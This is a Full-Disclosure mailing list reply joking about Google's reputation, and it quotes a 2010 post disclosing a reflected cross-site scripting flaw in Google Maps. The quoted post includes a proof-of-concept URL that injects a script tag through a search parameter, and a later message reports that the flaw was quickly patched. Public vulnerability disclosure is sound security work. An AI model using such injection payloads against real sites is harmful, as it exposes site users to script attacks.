Re: Google Maps XSS (currently unpatched)

[dramacrat <yirimyah () gmail com>]

ah, Google...

the only company in IT that can have an unpatched vulnerability
released to the world and get good publicity out of it.

Don't get me wrong, I'm not in the GoogleSucksAndIsEvil crowd... I
have friends that work for them, and I like to see a company like them
doing well.

Still, I can't help but suspect that one day in 50 years, Larry Page
is going to be lying on his deathbed when out of a puff of smoke
appears the Devil, who raises his trident and says "So, Mr Page, about
that soul you signed away..."

On 13/01/2010, Robin Sage <robin.sage () rocketmail com> wrote:
> Google was quick on that one! It worked an hour and a half ago.
>
> - Robin
>
>
>
>
> ________________________________
> From: gaurav baruah <baruah.gaurav () gmail com>
> To: full-disclosure () lists grok org uk
> Sent: Tue, January 12, 2010 6:20:32 AM
> Subject: [Full-disclosure] Google Maps XSS (currently unpatched)
>
> Google Maps XSS (currently unpatched)
>
> Discovered By -
> Pratul Agrawal (pratul2u () gmail com)
> Gaurav Baruah  (baruah.gaurav () gmail com)
>
>
> PoC -
> http://maps.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=%3Cscript%3Ealert(%22Google%20Sucks%20!%22)%3C/script%3E&vps=1&sll=28.613554,77.20906&sspn=0.009136,0.013797&ie=UTF8
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/